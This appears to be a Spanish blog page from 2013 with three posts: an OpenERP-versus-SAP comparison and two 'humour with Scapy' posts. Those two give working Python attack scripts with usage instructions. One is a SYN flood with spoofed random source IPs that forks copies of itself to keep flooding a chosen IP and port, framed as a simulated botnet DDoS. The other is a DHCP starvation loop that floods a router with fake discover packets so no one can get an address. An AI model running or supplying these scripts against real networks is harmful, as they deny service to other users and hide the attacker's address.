miércoles, 21 de agosto de 2013

De risas, con humor y Scapy (II)

Bienvenidos a la segunda edición de HUMOR CON SCAPY!! hoy.... Simular una Botnet para lanzar un DDOS simulado.

Como bien sabéis el objetivo de los DDOS es saturar un servicio y colapsarlo. Bien pues con la librería Scapy de Python generaremos un bucle de paquetes que van a ir dirigidos a una única dirección IP y puerto. Le añadiremos un mensaje algo como "Egunon macarrones" y le pondremos que la IP origen sea aleatoria para que no se vea reflejada nuestra dirección. Y listo!!

#! /usr/bin/env python
import sys
import os
from scapy.all import *

victima=sys.argv[1]
puerto=sys.argv[2]
mensaje=sys.argv[3]
hilos=sys.argv[4]
print victima
print puerto
print mensaje
try:
        hilos=int(hilos)
except:
        hilos=0
print hilos

while hilos > 0:
        if os.fork() == 0:
                os.system("/root/simulaDDOS.py "+str(victima)+" "+str(puerto)+"'"+str(mensaje)+"' 0")
        hilos-=1

ddos=IP(src=RandIP(),dst=str(victima),id=1111,ttl=255)/fuzz(TCP(sport=RandShort(),dport=int(puerto),seq=12345,ack=1000,window=1000,flags="S"))/str(mensaje)
ls(ddos)
srloop(ddos,inter=0.01,count=1000)
#Y para que sea infinito lo lanzamos otra vez
if os.fork() == 0:
        os.system("/root/simulaDDOS.py "+str(victima)+" "+str(puerto)+"'"+str(mensaje)+"' 0")
exit()

La forma de usar es muy sencilla solo hay que indicar en el siguiente orden:
IP= dirección IP de la victima
PUERTO= servicio a atacar 80 el HTTP por ejemplo
"MENSAJE"= texto que se enviará junto con el paquete
HILOS= tiene que ser una cifra del 0 a N. El programa creará procesos similares para intensificar la simulación del ataque.
./simulaDDOS.py 192.168.1.100 80 "Egunon macarrones" 2
Espero que os sirva como prueba para hacer alguna prueba de estrés en alguna máquina.

Un saludo.

martes, 20 de agosto de 2013

OpenERP vs SAP: entorno

Mi nueva sección y creo que está va ser la más polémica. Voy a enfrentar OpenERP contra SAP. Sacaré todas mis malas, buenas, impresiones... de estos dos entornos.

Resumen rápido!!!
Uno de código abierto OpenERP y SAP es privativo. Para los de la ESO uno es "gratis" y el otro de pago. Están orientados para que se usen en entornos empresariales, y facilitar distintos aspectos como el sistema de ventas, finanzas...

Comenzamos... bueno empezaré diciendo que a día de hoy no he conocido nada que no se pueda hacer en los dos entornos. Con OpenERP se crean módulos en Python y con SAP compras los módulos que necesitas para crear aplicaciones en el lenguaje ABAP por lo general.

-OpenERP al ser Python puedes calzarlo con cualquier otro entorno ya que es un lenguaje multiplatafrorma.
-SAP no tiene esa libertad de calzarlo en cualquier entorno, puedes comprar licencia para la SDK y conectarlo con Java y .NET por suerte Java tiene multitud de librerías con las que puedes comunicarlo con otros entornos.

Así que se podría decir que en este primer tiempo quedan en empate. Un poco justo por parte de SAP ya que tiene que hacer escala pero bueno.

Sobre el tema del soporte sin duda SAP lo tiene 24horas. OpenERP también puedes contratarlo y listo y si no quieres gastar un duro hay comunidades dispuestas a echarte una mano. Pero eso si... Ninguno de los dos soportes cubre modificaciones de métodos, funciones.. que pertenezcan al núcleo del software. Vamos una regla de oro "Ni se os ocurra modificar nada que no hayas creado tu, sin permiso." Es posible que pierdas en el caso de haberlo pagado el soporte o es posible que el código que has copiado de internet que modificaba partes el núcleo no era tan bueno como decían.

Documentación hay el minipunto está a favor y sin duda de OpenERP. La ayuda en SAP es toda en ingles, los mejores foros de ayuda y sitios es todo en ingles. Si no ponemos el idioma como impedimento, decir que la ayuda escasea mucho, usar el clásico F1 no está mal y en muchas ocasiones es lo mejor que te puedes encontrar. En internet hay poco y aun peor si no sabes buscar muy concretamente lo que necesitas.
OpenERP tienes de todo, ejemplos comunidades, módulos publicados por desarrolladores. Y todo gratis. Bueno para no pillarme la mano diré que en gran parte todo gratuito y al alcance de cualquiera.

A la hora de desarrollar ya os adelanto que el minipunto va para OpenERP de nuevo. Eclipse, Netbeans e incluso cualquier editor de texto. Puede ser usado para desarrollar un módulo en OpenERP. También decir que si editas con un entorno preparado como puede ser Eclipse tienes tus ayudas de código y otras ventajas. Vamos quiero decir que puedes elegir el entorno que cada desarrollador prefiera. La estructura del proyecto es mediante directorios y ficheros que pueden ser abiertos y editados con cualquier editor. Es muy manejable.
SAP tiene su propio editor, muy profesional y completo. Pero solo hay ese. Es más, en transacciones que no han sido mejoradas el editor es muy primitivo y no tan completo. No tienes esa facilidad de poder manejar los ficheros del proyecto a tu antojo. Simplemente por que el desarrollador no tiene acceso a los ficheros o a la fuente de donde se almacena. Bueno si te puedes copiar el codigo a tu fichero de texto, pero ya me meteré con ello más adelante que con copiar el código no es suficiente.

OpenERP ya acumula dos minipuntos!! 1 - 0 a favor.

Ya que he sacado el tema de los ficheros hay el minipunto es para SAP. Si es cierto eso de obligarnos a todos los desarrolladores a tener el mismo acceso a los ficheros. Es mejor, así nadie tiene una copia del fichero que otro no tiene, no hay lineas de código que uno ve pero el otro no... Si con OpenERP puedes usar GIT , SVN o cualquier otro pero por mucho COMMIT que hagas si no hay un PUSH. Nadie ve los cambios, y por lo tanto luego vienen las sorpresas. Por esa parte en mi opinión SAP gana.

Bueno, creo que por hoy es suficiente. Sobre los entornos no se me ocurre que más criticar... ya se me ocurrirá algo. De todas formas aun queda mucho que hablar. Os adelanto unos apartados (máquinas, diseño, calidad/precio, resultado final)

MARCADOR:  OpenERP 1   -   SAP 0.5

lunes, 19 de agosto de 2013

De risas, con humor y Scapy

Después de mucho tiempo vuelvo a escribir. Para comenzar con algo que considero interesante abro un apartado llamado "De risas, con humor y Scapy" será un apartado pequeñito ya que pondré unos pocos script "graciosetes". Comenzamos!!!!

Pondremos como victima el servidor DHCP de nuestro router wifi. Como sabréis un servidor DHCP se encarga de asignar a cada equipo que se conecta su configuración de red. Este va registrando las IP`s que han ido asignando a los diferentes equipos, para que nunca se repitan...

...Bien lo que realmente ocurre es que cuando un equipo se conecta y tiene en su tarjeta de red activo el DHCP este envía un paquete Broadcast que el router interpreta y responde. Y que ocurriría si por algún casual simulamos miles de paquetes falsos para que nuestro router asigne como loco a cada uno de ellos una IP? pues que nos quedamos sin direcciones y nadie se podrá "conectar". A no ser que se refresque la tabla, no se volverá a asignar nuevas direcciones. Eso si no petamos antes el router y colapsamos todo el tráfico.

Para el siguiente script como indica el titulo del post hay que tener la librería de Python Scapy ya instalada.
Y sin más lios aquí os lo paso:
#! /usr/bin/env python
import sys
from scapy.all import *

conf.checkIPaddr = False
dhcp_discover = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("messagetype","discover"),"end"])
sendp(dhcp_discover,loop=1)

Este pequeño script de apenas 3 lineas lo que hace es generar de forma aleatoria e infinita paquetes con direcciones MAC también aleatorias y los envía por el protocolo dhcp_discover. Así que antes de liarla pulsar CTRL + C.